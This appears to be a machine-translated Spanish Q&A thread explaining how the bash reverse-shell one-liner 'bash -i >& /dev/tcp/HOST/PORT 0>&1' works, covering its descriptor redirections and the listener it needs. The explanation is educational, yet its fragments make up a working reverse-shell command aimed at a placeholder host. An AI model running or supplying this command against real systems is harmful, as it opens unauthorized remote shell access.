Respuestas:
Este fragmento ejecuta una nueva instancia interactiva de bash ( bash -i
), en una conexión TCP al puerto especificado en el host especificado que se crea durante el proceso bash. La salida estándar y el error estándar se envían a través de esta conexión ( >& /dev/tcp/HOST/PORT
), y la entrada estándar se lee a través de esta conexión ( 0>&1
esto debería ser 0<&1
pero 0>&1
también funciona).
No hay reenvío de puertos en curso. Obviamente, un servidor TCP de algún tipo tiene que estar escuchando y aceptando conexiones en ese HOST: PORT, y el firewall debe dejar pasar la conexión.
/dev/tcp/HOST/PORT
? Supuse que había reemplazado un nombre por HOST
y un número por PORT
. De lo contrario, recibirá un mensaje de error de bash. Como no mencionó ningún mensaje de error, supongo que no vio ninguno.
0<&1
parte. Lo leí como 'tomar bash stdout ( &1
) y conectarlo a bash stdin ( 0
)', lo cual tiene sentido. ¿Puede explicar cómo funciona esta parte?
0<&1
significa conectar lo que esté abierto actualmente en el descriptor de archivo 1 al descriptor de archivo 0. Dado que la redirección anterior >& /dev/tcp/HOST/PORT
conectó fd 1 (el valor predeterminado para una redirección de salida) a /dev/tcp/HOST/PORT
, es decir, abrió un socket TCP, esto duplica la conexión TCP al descriptor de archivo 0 (es decir, el el mismo socket ahora también está abierto en fd 0, esto es diferente de 0 </ dev / tcp / HOST / PORT que abriría un socket diferente al mismo servidor).